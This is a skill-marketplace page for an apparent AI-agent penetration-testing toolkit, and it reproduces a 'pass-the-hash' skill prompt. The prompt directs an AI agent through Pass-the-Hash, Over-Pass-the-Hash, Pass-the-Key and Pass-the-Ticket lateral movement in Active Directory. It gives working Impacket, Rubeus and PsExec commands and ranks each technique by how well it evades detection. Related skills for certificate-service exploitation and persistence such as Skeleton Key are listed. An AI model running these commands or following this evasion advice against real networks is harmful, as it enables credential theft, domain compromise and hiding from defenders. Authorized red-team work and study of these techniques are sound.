acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Authenticates to AD services using NTLM hashes, AES keys, or Kerberos tickets without cracking passwords. Covers Pass-the-Hash, Over-Pass-the-Hash, Pass-the-Key, and Pass-the-Ticket for lateral movement.
$ npx -y skills add blacklanternsecurity/red-run --skill pass-the-hash --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/pass-the-hashContext preview
The summary Claude sees to decide when to auto-load this skill.
Authenticates to AD services using NTLM hashes, AES keys, or Kerberos tickets without cracking passwords. Covers Pass-the-Hash, Over-Pass-the-Hash, Pass-the-Key, and Pass-the-Ticket for lateral movement.
name: pass-the-hash description: > Authenticates to AD services using NTLM hashes, AES keys, or Kerberos tickets without cracking passwords. Covers Pass-the-Hash, Over-Pass-the-Hash, Pass-the-Key, and Pass-the-Ticket for lateral movement. keywords: - pass the hash - PTH - over-pass-the-hash - pass the key - pass the ticket - NTLM hash lateral - use hash to authenticate - lateral movement - ptt - opth - ccache tools: - Impacket - Rubeus - mimikatz - netexec - evil-winrm opsec: medium
You are helping a penetration tester use credential material (NTLM hashes, AES keys, or Kerberos tickets) for lateral movement without knowing cleartext passwords. All testing is under explicit written authorization.
**Kerberos-first authentication**: This skill defaults to converting credential material into Kerberos tickets (Over-Pass-the-Hash / Pass-the-Key) rather than using NTLM directly. Direct Pass-the-Hash is the last resort due to heavy detection (Event 4776, CrowdStrike Identity Module PTH signatures).
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
`evil-winrm`
**Kerberos-first workflow** (default for all techniques):
# Convert hash/key to TGT first, then use Kerberos for everything getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH # or with AES key (most OPSEC-safe) getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -aesKey AES256_KEY export KRB5CCNAME=user.ccache # All lateral movement uses -k -no-pass from here psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
Determine what you have and choose the appropriate technique:
| Material | Technique | OPSEC | Go To | |----------|-----------|-------|-------| | AES256 key | Pass-the-Key | **LOW** — matches normal Kerberos | Step 2 | | AES128 key | Pass-the-Key | **LOW** — matches normal Kerberos | Step 2 | | NTLM hash | Over-Pass-the-Hash | **MEDIUM** — RC4 etype is anomalous | Step 3 | | .ccache / .kirbi ticket | Pass-the-Ticket | **LOW** — reusing real ticket | Step 4 | | NTLM hash + no Kerberos | Direct Pass-the-Hash | **HIGH** — NTLM auth, heavily monitored | Step 5 |
**Always prefer AES keys > tickets > OPTH > direct PTH.**
Use AES keys to request a TGT. This generates Event 4768 with encryption type `0x12` (AES256) or `0x11` (AES128) — indistinguishable from normal Windows authentication.
# AES256 key -> TGT getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL \ -aesKey 2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 export KRB5CCNAME=user.ccache # Now use Kerberos auth for lateral movement psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
# AES256 with /opsec flag — mimics legitimate Windows behavior .\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \ /aes256:2ef70e1ff0d18df08df04f272df3f9f93b707e89bdefb95039cddbadb7c6c574 \ /opsec /ptt /nowrap # AES128 .\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \ /aes128:bc09f84dcb4eabccb981a9f265035a72 /ptt /nowrap # Verify ticket is loaded klist
Convert an NTLM hash into a Kerberos TGT. The TGT request uses RC4 encryption (etype 23), which is **anomalous in AES-hardened domains** but still better than direct NTLM authentication.
# NTLM hash -> TGT getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH # Full LM:NT format also works getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL \ -hashes aad3b435b51404eeaad3b435b51404ee:NTHASH export KRB5CCNAME=user.ccache # Verify ticket klist -c user.ccache # Lateral movement via Kerberos psexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass smbexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass wmiexec.py DOMAIN/user@TARGET.DOMAIN.LOCAL -k -no-pass
ktutil -k ~/mykeys add -p user@DOMAIN.LOCAL -e arcfour-hmac-md5 \ -w NTHASH --hex -V 5 kinit -t ~/mykeys user@DOMAIN.LOCAL klist
# NTLM hash -> TGT injected into current session .\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \ /rc4:NTHASH /ptt /nowrap # Create sacrificial process with the ticket (avoids overwriting current TGT) .\Rubeus.exe asktgt /user:Administrator /domain:DOMAIN.LOCAL \ /rc4:NTHASH /createnetonly:C:\Windows\System32\cmd.exe /show # Then lateral movement .\PsExec.exe -accepteula \\TARGET.DOMAIN.LOCAL cmd
# Spawns a new process with the hash injected se
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…